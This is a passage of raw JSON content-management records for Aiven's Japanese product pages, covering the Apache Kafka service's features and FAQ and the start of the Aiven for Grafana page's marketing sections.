Connectと"},{"_key":"3ccc272654ea1","_type":"span","marks":["92cb470ead2f"],"text":"30以上の組み込みコネクタ"},{"_key":"3ccc272654ea2","_type":"span","marks":[],"text":"により、外部データソースへ簡単に接続"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"92cb470ead2f","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins"}],"style":"normal"},{"_key":"33106ed12137","_type":"block","children":[{"_key":"188dc68c7a4f","_type":"span","marks":[],"text":"マネージドKafka MirrorMaker 2を使用して、"},{"_key":"d3a242b64aea0","_type":"span","marks":["2051ed76fca2"],"text":"ディザスタリカバリ"},{"_key":"d3a242b64aea1","_type":"span","marks":[],"text":"や地理的近接性を目的としたKafkaクラスターのレプリケーションを実現"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2051ed76fca2","_type":"link","href":"https://aiven.io/blog/data-and-disaster-recovery"}],"style":"normal"},{"_key":"8d6cab600177","_type":"block","children":[{"_key":"1649d4d3eecc0","_type":"span","marks":["b61064ad7ee2"],"text":"VPC peering"},{"_key":"1649d4d3eecc1","_type":"span","marks":[],"text":"、"},{"_key":"1649d4d3eecc2","_type":"span","marks":["9c6c406885f4"],"text":"PrivateLink"},{"_key":"1649d4d3eecc3","_type":"span","marks":[],"text":"または"},{"_key":"1649d4d3eecc4","_type":"span","marks":["f509cfbec45e"],"text":"TransitGateway"},{"_key":"1649d4d3eecc5","_type":"span","marks":[],"text":"テクノロジーを使用したセキュアなネットワーク接続"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b61064ad7ee2","_type":"link","href":"https://aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"9c6c406885f4","_type":"link","href":"https://aiven.io/docs/tools/cli/service/privatelink"},{"_key":"f509cfbec45e","_type":"link","href":"https://aiven.io/docs/platform/howto/attach-vpc-aws-tgw"}],"style":"normal"},{"_key":"d67ad2e38d9c","_type":"block","children":[{"_key":"21d35d9765c70","_type":"span","marks":[],"text":"Datadog、Prometheus、Jolokiaなどのお気に入りのオブザーバビリティ(可観測性)ツールに"},{"_key":"85f28d157883","_type":"span","marks":["19ef72953596"],"text":"統合"},{"_key":"8504342633e9","_type":"span","marks":[],"text":"したり、"},{"_key":"21d35d9765c73","_type":"span","marks":["151e11d47048"],"text":"Aivenの可観測性ツール"},{"_key":"21d35d9765c74","_type":"span","marks":[],"text":"を使用して監視とロギングを強化することが可能"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"151e11d47048","_type":"link","href":"https://aiven.io/time-series-databases/monitoring-and-observability"},{"_key":"19ef72953596","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"7f1b1be04fb5","_type":"block","children":[{"_key":"864557b086cd0","_type":"span","marks":[],"text":"Karapace.ioオープンソースRest APIとスキーマレジストリ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"データインフラストラクチャとの統合","variant":"mediaRight","ytId":"7fU13zlDjRQ"},{"_key":"3cd3a6c76a9e","_type":"iconList","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":false,"iconSize":48,"icons":[{"_key":"aca98a557744","_type":"iconItem","cta":{"_type":"link","internalLink":{"_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784","_type":"reference"},"title":"詳細はこちら"},"iconImage":{"_type":"mainImage","asset":{"_ref":"image-685613765c01f84c2db04678b0d4629ede9947ad-64x64-svg","_type":"reference"}},"title":"Aiven for Apache Kafka®️ Connectで社内外のサービスを接続"}],"rounded":true,"variant":"icon-left"},{"_key":"b54ccb18eefa","_type":"textVideo","disabled":false,"fullWidth":false,"rounded":false,"tagline":"管理","text":[{"_key":"135c6383f301","_type":"block","children":[{"_key":"51b0955a98640","_type":"span","marks":[],"text":"Aiven Console (GUI) 、"},{"_key":"51b0955a98641","_type":"span","marks":["4ee7dfe63c0c"],"text":"CLI"},{"_key":"51b0955a98642","_type":"span","marks":[],"text":"、TerraformまたはKubernetesツールを使用したKafkaクラスタの管理"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"4ee7dfe63c0c","_type":"link","href":"https://aiven.io/docs/tools/cli"}],"style":"normal"},{"_key":"47a8efba4a15","_type":"block","children":[{"_key":"b922fb3eb9390","_type":"span","marks":[],"text":"ユーザーとアクセス制御リスト (ACL) を管理し、Kafkaトピックを簡単に検査"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5b4a92a6d894","_type":"block","children":[{"_key":"b422b05c9ec50","_type":"span","marks":[],"text":"お好みのKafka UI tool (Conductor、Kafdrop、kcatなど) の使用が可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"50ef257ba4db","_type":"block","children":[{"_key":"38c6f7a38b5d0","_type":"span","marks":["aa399d70c836"],"text":"オープンソースソフトウェア"},{"_key":"38c6f7a38b5d1","_type":"span","marks":[],"text":"との互換性を保証"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"aa399d70c836","_type":"link","href":"https://aiven.io/open-source"}],"style":"normal"},{"_key":"ce75d8c9b88b","_type":"block","children":[{"_key":"8cfc65b8f9bc0","_type":"span","marks":[],"text":"クラウドやリージョン間での移行が容易"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOpsに適した管理と開発","variant":"mediaLeft","ytId":"VixIQh9S6T8"},{"_key":"c48ee4ff96855f5b9f1c0870730c31aa","_type":"textVideo","disabled":false,"fullWidth":false,"rounded":false,"tagline":"サービス","text":[{"_key":"634c9ec9e0c3","_type":"block","children":[{"_key":"afc92a21a0430","_type":"span","marks":[],"text":"99.99%のアップタイムSLAを実現する自己修復プラットフォーム"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fd9a054e2cb6","_type":"block","children":[{"_key":"2510e537c9a50","_type":"span","marks":[],"text":"スケーリング、アップグレードなどの管理運用時のダウンタイムゼロ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e061b8202460","_type":"block","children":[{"_key":"0affe35eb7340","_type":"span","marks":["9703b42c9fbd"],"text":"ノード間の自動負荷分散"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9703b42c9fbd","_type":"link","href":"https://aiven.io/docs/products/kafka/concepts/horizontal-vertical-scaling"}],"style":"normal"},{"_key":"4baff9409785","_type":"block","children":[{"_key":"fcae4e0c03ec0","_type":"span","marks":["2bb80d6a7137"],"text":"安全でコンプライアンス準拠のソリューション"},{"_key":"fcae4e0c03ec1","_type":"span","marks":[],"text":" - ISO 27001:2013、SOC2、GDPR、HIPAA、PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2bb80d6a7137","_type":"link","href":"https://aiven.io/security-compliance"}],"style":"normal"},{"_key":"57fe4cf3ef3b","_type":"block","children":[{"_key":"cc4960cce4eb0","_type":"span","marks":[],"text":"24時間365日、100%サポート要員によるサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"信頼性、安全性、ロックインなし","variant":"mediaRight","ytId":"8Ff_3WoaraY"},{"_key":"cf168a4da3de","_type":"cardList","addSpaceBottom":true,"addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"resources","items":[{"_key":"de5c0fc00e2e","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"236b7dd5421f","_type":"block","children":[{"_key":"04ef7683f8ba0","_type":"span","marks":[],"text":"Aiven for Apache Kafka入門、コアコンセプト、ハウツーなどをご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"Aivenドキュメント","title":"ドキュメント","variant":"default"},{"_key":"7b6f84a766f2","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"ZIhwh1ZhFnaMv3ZBSp0tp","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-7ae8ed56761bc36cfb6d47036f47c61cf29b5d37-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"946e1bb21fb9","_type":"block","children":[{"_key":"af8c4ab7a1240","_type":"span","marks":[],"text":"Apache Kafkaは、非常に多様なユースケースに対応できる素晴らしいプラットフォームです。Aivenのお客様がどのようにApache Kafkaを利用して成果を上げ、複雑性を解決しているかをご確認ください。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"Apache Kafkaのユースケース","variant":"default"},{"_key":"be02aadd3dd7","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"766e5371-c2d6-409d-acba-a478d18ffdd2","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-63a676d4b614586ed8de8811de4c53ad9852deac-1567x844-jpg","_type":"reference"}},"subtitle":[{"_key":"4bbfdb6ba443","_type":"block","children":[{"_key":"0d77346701530","_type":"span","marks":[],"text":"空白のデータパイプラインをテストすることはできません。本ブログでは、PythonとFakerを使って、ストリーミングデータを作成する方法を説明します。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"PythonとFakerを使ってApache Kafka®のための独自のデータストリームを作成する","variant":"default"}],"rounded":false,"tagline":"リソース","title":"Aiven for Apache Kafkaの使用方法についての説明"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"c8ef987436f7","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3__i18n_ja","_type":"reference"},{"_key":"0c2f8fea2bf8","_type":"accordionItem","id":"connectors","panelText":[{"_key":"ee1456edcb6b","_type":"block","children":[{"_key":"47677f0e53050","_type":"span","marks":[],"text":"30以上の利用可能なソースコネクタおよびシンクコネクタを用意しています。全リストについては"},{"_key":"f13e7bd6b3c2","_type":"span","marks":["7e9b2d8d7c75"],"text":"こちら"},{"_key":"fb62672ccf72","_type":"span","marks":[],"text":"をご覧ください。"}],"markDefs":[{"_key":"7e9b2d8d7c75","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins"}],"style":"normal"}],"title":"Aiven for Apache Kafkaでは、どのコネクタが使用できますか?"},{"_key":"fc3d2ed76cce","_type":"accordionItem","id":"upgrade","panelText":[{"_key":"0469ace5cb9a","_type":"block","children":[{"_key":"8931df5b05980","_type":"span","marks":[],"text":"アップグレードプロセスでは、新規のKafkaノードが既存のノードと並行して開始されます。"}],"markDefs":[],"style":"normal"},{"_key":"98ab97811554","_type":"block","children":[{"_key":"76c8a9890fae0","_type":"span","marks":[],"text":"新規と既存のノードが混在するKafkaクラスターに参加することになります。Aivenのコードは、既存ノードから新規ノードへのデータのストリーミングを調整し、パーティションのリーダーを新規ノードに移動させます。その後、データがなくなった古いノードはクラスターから離脱させられます。この機能の詳細な説明については"},{"_key":"76c8a9890fae1","_type":"span","marks":["9b81bbcffd17"],"text":"こちら"},{"_key":"76c8a9890fae2","_type":"span","marks":[],"text":"をご確認ください。"}],"markDefs":[{"_key":"9b81bbcffd17","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/concepts/upgrade-procedure"}],"style":"normal"}],"title":"アップグレード中や移行中のサービスやデータはどうなりますか?"},{"_key":"5c37cb26ffe9","_type":"accordionItem","id":"capacity","panelText":[{"_key":"5428104a9cfb","_type":"block","children":[{"_key":"302754c088650","_type":"span","marks":[],"text":"スケーリングオプションは、すべてのAiven for Apache Kafkaのお客様が利用可能で、ダウンタイムがないため、アップグレード中もクラスターの継続稼働が可能です。"},{"_key":"a7a2b6397f6b","_type":"span","marks":["db7451941f88"],"text":"こちら"},{"_key":"2a90079db42f","_type":"span","marks":[],"text":"から、既存のApache Kafkaクラスターのキャパシティを向上する方法についてご覧ください。"}],"markDefs":[{"_key":"db7451941f88","_type":"link","href":"https://aiven.io/docs/products/kafka/concepts/upgrade-procedure"}],"style":"normal"}],"title":"イベントの急増が予想される場合に、十分なキャパシティを確保するにはどうすればよいですか?"},{"_key":"997cc94f160b","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec__i18n_ja","_type":"reference"}],"rounded":false,"title":"よくある質問"}],"modals":[],"seo":{"_type":"metaData","metaDescription":"Aiven for Apache Kafka® - フルマネージドのストリーミングプラットフォーム ✓ ご希望のクラウドにデプロイ ✓ タスクを自動化し、コアアプリケーションの構築に集中できます。","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f6195084a2194fcd9e4bbb04dceeea6b27fa99f0-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for Apache Kafka®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"マネージドカフカ、カフカ・アズ・ア・サービス、クラウドカフカ\",\n \"description\": \"Aiven for Apache Kafka®, Kafka as a Serviceは、完全に管理された高スループットの分散メッセージングシステムで、Google Cloud Platform, Amazon Web Services, Microsoft Azure, DigitalOcean, UpCloud上でホストされる一貫した、耐障害性、耐久性のあるメッセージ収集および処理を提供します。\",\n \"featureList\": \"Kafka MirrorMaker、Kafka Schema Registry、Kafka Connect、Aiven service log integration、Aiven metrics integration、VPC peering、High availability、Google Cloud Platformで利用可能、Amazon Web Servicesで利用可能、Microsoft Azureで利用可能、DigitalOceanで利用可能\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/docs/products/kafka\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"オープンソースの分散メッセージングシステム\",\n \"applicationSubCategory\": \"メッセージバス\"\n}","metaTitle":"Managed Apache Kafka®サービス|Aiven"},"service":{"_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},"slug":{"_type":"slug","current":"/kafka"},"title":"Kafka"} {"__i18n_base":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-09-30T14:52:30Z","_id":"42c18edd-bcf8-4b56-8150-12787a872b60__i18n_ja","_rev":"L3boCkkiM9On4ApfxNjkpX","_type":"product","_updatedAt":"2024-03-12T05:01:33Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Grafana®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_type":"reference"},"title":"Aivenプラットフォーム"}},"description":[{"_key":"b3b26034b285","_type":"block","children":[{"_key":"bbd986af41d30","_type":"span","marks":[],"text":"フルマネージドのサービスとしてGrafanaを利用し、メトリクスデータを監視し、イベントアラートを通知します。監視ワークフローに用意されたダッシュボードを組み込み、システムの全体像を把握できます。"}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"bc8376257e6c","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"3b13c79fd2d2","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"cea754b62877","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-a7d7e89a6ced5d5b7781ea776b37e58048dd0da4-1454x1144-png","_type":"reference"}},"isImageLarge":false,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/grafana","title":"ドキュメントを見る"},"tagline":"マネージド&ホスティング","title":"Aiven for Grafana®","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"機能"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"メリット"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"お客様の活用事例"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"価格"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"機能紹介"},{"_key":"8af4fd351767","_type":"scrollSpyNavItem","sectionId":"resources","title":"リソース"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"よくある質問"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60__i18n_ja","_type":"reference"},"title":"Aiven for Grafana®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"title":"Aiven for Grafana®"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","rounded":false,"steps":[{"_key":"7764be2f4957","_type":"textItem","content":[{"_key":"e5881eea7857","_type":"block","children":[{"_key":"23dc3156adc80","_type":"span","marks":[],"text":"Grafanaでシステム、メトリクス、データの概要を把握"}],"markDefs":[],"style":"h3"},{"_key":"944b6c8908f1","_type":"block","children":[{"_key":"edd0d7994e1e0","_type":"span","marks":[],"text":"Aiven for Grafana®は、メトリクスのためのフルマネージドのオープンソース監視・可視化・アラートスイートです。カスタマイズに対応したダッシュボードとプラグアンドプレイの統合で、システム全体の円滑な運用を支援します。"}],"markDefs":[],"style":"normal"},{"_key":"c445b6894858","_type":"block","children":[{"_key":"4da4eb6745ee0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"defc35daacfb","_type":"block","children":[{"_key":"c13963745c0a0","_type":"span","marks":["6506fd36dc23"],"text":"Grafanaとは(ブログ)"}],"markDefs":[{"_key":"6506fd36dc23","_type":"internalLink","internalLink":{"_ref":"5f233693-50cd-4dd3-9bb8-70485a56b41f","_type":"reference"}}],"style":"normal"},{"_key":"acdbdb512b54","_type":"block","children":[{"_key":"fd5cc71c4e710","_type":"span","marks":["b6ebcd943078"],"text":"Aiven for Grafana入門(ドキュメント)"}],"markDefs":[{"_key":"b6ebcd943078","_type":"link","href":"https://aiven.io/docs/products/grafana"}],"style":"normal"}]},{"_key":"680f378ade94","_type":"textItem","content":[{"_key":"6ac1321eb83a","_type":"block","children":[{"_key":"9dd7c5e273230","_type":"span","marks":[],"text":"統合されたAivenサービスのデータを可視化"}],"markDefs":[],"style":"h3"},{"_key":"acd7800d58b7","_type":"block","children":[{"_key":"7b137f25e2ef0","_type":"span","marks":[],"text":"PostgreSQL®、ClickHouse®、M3、OpenSearch®のAivenサービスに格納されているデータとワンクリックで統合できます。ビジュアルダッシュボードを構築し、IoTテレメトリやビジネスメトリクスなどのデータに関するインサイトを得ます。Aiven以外のデータベース用のデータソースプラグインも用意されています。"}],"markDefs":[],"style":"normal"},{"_key":"46abc68b4583","_type":"block","children":[{"_key":"6bf29b7a510a0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"bf9d55eca6bb","_type":"block","children":[{"_key":"510d75c66b2d","_type":"span","marks":["e425d2154367"],"text":"Aiven for Grafana入門(ドキュメント)"}],"markDefs":[{"_key":"e425d2154367","_type":"link","href":"https://docs.aiven.io/docs/products/grafana"}],"style":"normal"},{"_key":"c6a9b7e40099","_type":"block","children":[{"_key":"9dc48755a7f40","_type":"span","marks":["4bf3afe03c43"],"text":"M3とGrafanaを使用したメトリクスとグラフ(ブログ)"}],"markDefs":[{"_key":"4bf3afe03c43","_type":"internalLink","internalLink":{"_ref":"27idt1cdblNt5VE88jxtnJ","_type":"reference"}}],"style":"normal"}]},{"_key":"5627270af86a","_type":"textItem","content":[{"_key":"8c7fd7d71162","_type":"block","children":[{"_key":"d1f7c7fe86b30","_type":"span","marks":[],"text":"お気に入りの外部ロギングツール、監視ツールとの連携"}],"markDefs":[],"style":"h3"},{"_key":"0c44740d986a","_type":"block","children":[{"_key":"48d93931ddc10","_type":"span","marks":[],"text":"Prometheus、Jolokia、Datadogなどの外部ロギングツールの統合も容易です。また、OpenSearchやExternal Elasticsearchなどを使って監視やロギングを強化することもできます。"}],"markDefs":[],"style":"normal"},{"_key":"515f2cd1850b","_type":"block","children":[{"_key":"0dae282a206d0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"f5ea1e192bb0","_type":"block","children":[{"_key":"834c8cbcaf2e0","_type":"span","marks":["0447449f3bba"],"text":"統合とコネクタ"}],"markDefs":[{"_key":"0447449f3bba","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"cf5ace7e1a5f","_type":"block","children":[{"_key":"13493fe673490","_type":"span","marks":["3cb11d0f2bd3"],"text":"M3とGrafanaを使用したメトリクスとグラフ(ブログ)"}],"markDefs":[{"_key":"3cb11d0f2bd3","_type":"internalLink","internalLink":{"_ref":"27idt1cdblNt5VE88jxtnJ","_type":"reference"}}],"style":"normal"}]},{"_key":"b4cd2ac7dbf7","_type":"textItem","content":[{"_key":"ac0a179fb39a","_type":"block","children":[{"_key":"61940b6ebc200","_type":"span","marks":[],"text":"Aivenのデータパイプライン全体の健全性を監視"}],"markDefs":[],"style":"h3"},{"_key":"43edc0e8f33c","_type":"block","children":[{"_key":"f90ecf594c14","_type":"span","marks":[],"text":"Aivenのすべてのサービスには、M3、PostgreSQLデータベースにメトリクスデータをプッシュする機能が組み込まれています。Aiven for Grafanaには、このデータを視覚化する自動構成ダッシュボードが用意されているため、すべてのAivenサービスの健全性も容易に監視できます。また、アラート機能により、トラブルが発生する前に確実に情報を得ることができます。"}],"markDefs":[],"style":"normal"},{"_key":"1b2627c09859","_type":"block","children":[{"_key":"3104d2ada0970","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"2671bdd35e6c","_type":"block","children":[{"_key":"55bb7a5462da0","_type":"span","marks":["1cc673beabf6"],"text":"Aiven for Grafana入門(ドキュメント)"}],"markDefs":[{"_key":"1cc673beabf6","_type":"link","href":"https://docs.aiven.io/docs/products/grafana"}],"style":"normal"},{"_key":"49142b767793","_type":"block","children":[{"_key":"98ad2fb9d2911","_type":"span","marks":["a6ea80c7d0fa"],"text":"M3とGrafanaを使用したメトリクスとグラフ(ブログ)"}],"markDefs":[{"_key":"a6ea80c7d0fa","_type":"internalLink","internalLink":{"_ref":"27idt1cdblNt5VE88jxtnJ","_type":"reference"}}],"style":"normal"}]}],"subtitle":[{"_key":"0c3b019036b8","_type":"block","children":[{"_key":"0d58c01ab9fb0","_type":"span","marks":[],"text":"フルマネージドのGrafanaのセットアップは、Webコンソールから直接、またはAPI、CLI、Terraformプロバイダーを使用するプログラムで10分以内に完了します。あらゆる種類のメトリクスに対して、スマートな可視化とアラートルールを作成します。Aivenサービスの健全性監視に必要な統合機能と事前構築済みのダッシュボードが含まれます。"}],"markDefs":[],"style":"normal"}],"tagline":"機能","title":"Aiven for Grafana®でできること","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"a1bd0315eee6","_ref":"8986d4de-d1f0-456a-9b22-94d18130dded","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"15c9e8375bd8","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"必要なツールで管理する","variant":"grafana"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d0163fae3fb0","_type":"block","children":[{"_key":"2c251e0fff6a0","_type":"span","marks":[],"text":"クラスタへのメンテナンスアップデートやバージョンアップの適用に時間を取られていませんか。このような作業は私たちにおまかせください。中断やダウンタイムが発生することはありません。"}],"markDefs":[],"style":"normal"}],"title":"自動アップデート、自動アップグレードによりストレスゼロ"},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68cb782f728f","_type":"block","children":[{"_key":"7f9da06ae44f0","_type":"span","marks":[],"text":"Aiven for Grafanaの価格には、すべてが含まれています。追加の料金や手数料はありません。一括払いで、必要なコストがすべて含まれています。"}],"markDefs":[],"style":"normal"}],"title":"透明性の高い価格設定 - ネットワークコストは不要"},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ac6bcb5a619c","_type":"block","children":[{"_key":"987b7a5a638c0","_type":"span","marks":[],"text":"重要なアプリケーションにとってダウンタイムは災害です。その災害を防ぐため、Aivenは99.99%のアップタイムを実現しました。さらに、必要な際には、サポートチームのスタッフに問い合わせることができます。"}],"markDefs":[],"style":"normal"}],"title":"99.99%のアップタイム - 100%サポート要員によるサポート"},{"_key":"5d7c4d5ec748","_type":"iconItem","cta":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/grafana/reference/plugins","title":"詳細はこちら"},"iconImage":{"_type":"mainImage","asset":{"_ref":"image-0b94cf0d821bb1800ef640bd1e8458b2c43c8218-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e3ea02f88d9b","_type":"block","children":[{"_key":"613dbef6140f0","_type":"span","marks":[],"text":"60以上のプラグインをサポートし、外部データソース間の接続や、データの可視化方法をカスタマイズすることができます。"}],"markDefs":[],"style":"normal"}],"title":"60以上のデータソースとパネルプラグイン"}],"id":"benefits","rounded":false,"subtitle":[{"_key":"7aa0504b4038","_type":"block","children":[{"_key":"a435cef1b3cb0","_type":"span","marks":[],"text":"Aiven for Grafanaを使用すると、数回のクリックでシステムの健全性やビジネスメトリックスの監視ソリューションを設定することができます。事前構築済みのダッシュボードにより、Aivenのデータサービスを簡単に監視できるため、システムの健全性を監視し、異常があればアラートを設定することができます。"}],"markDefs":[],"style":"normal"},{"_key":"19cfd89bb2f5","_type":"block","children":[{"_key":"d63d706886080","_type":"span","marks":[],"text":"Aivenサービスのデータにワンクリックで統合できるため、ビジネスダッシュボードを簡単に構築できます。さらに、データソースやダッシュボードの追加プラグインを他のどのプロバイダーよりも多く提供しています。"}],"markDefs":[],"style":"normal"}],"tagline":"メリット","title":"Aiven for Grafana®サービスのメリット","variant":"header-left"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","subtitle":[{"_key":"de01a90b6252","_type":"block","children":[{"_key":"d8a8c9a6bc3d0","_type":"span","marks":[],"text":"IoTデバイスやセンサーなどのリモートソースからすべてのメトリクスを収集し、1つまたは複数のダッシュボードですべての情報を可視化します。時系列でデータポイントの概要を一目で把握できるため、傾向を把握し、情報に基づいたビジネス上の意思決定を行うことが容易になります。"}],"markDefs":[],"style":"normal"}],"title":"テレメトリの可視化","variant":"default"},{"_key":"40bbb53cd0c3","_type":"cardItem","subtitle":[{"_key":"2c2b43d6474c","_type":"block","children":[{"_key":"d4749a24ca540","_type":"span","marks":[],"text":"効果的なオブザバビリティは、システム全体へのきめ細かい洞察を提供し、常に健全な状態を維持するのに役立ちます。99.99%の稼働率を維持するために、M3、Grafana、OpenSearchを使用して、"},{"_key":"c63495674121","_type":"span","marks":["3d32a71cb84e"],"text":"Aivenがどのように独自の監視プラットフォームを構築したか"},{"_key":"07d9395d73dc","_type":"span","marks":[],"text":"をご覧ください。"}],"markDefs":[{"_key":"3d32a71cb84e","_type":"internalLink","internalLink":{"_ref":"c5434a78-da19-4156-a28c-3d54f7dbdabf","_type":"reference"}}],"style":"normal"}],"title":"オブザーバビリティ(可観測性)","variant":"default"},{"_key":"0cd60ba580e7","_type":"cardItem","subtitle":[{"_key":"40d1ccec97dd","_type":"block","children":[{"_key":"f7e278b0078e0","_type":"span","marks":[],"text":"ビジネスモニタリングツールとしてのGrafanaを使用すれば、個々のチームや部門に対するメトリクスモニタリングを備えたダッシュボードを簡単に設定することができます。Grafana 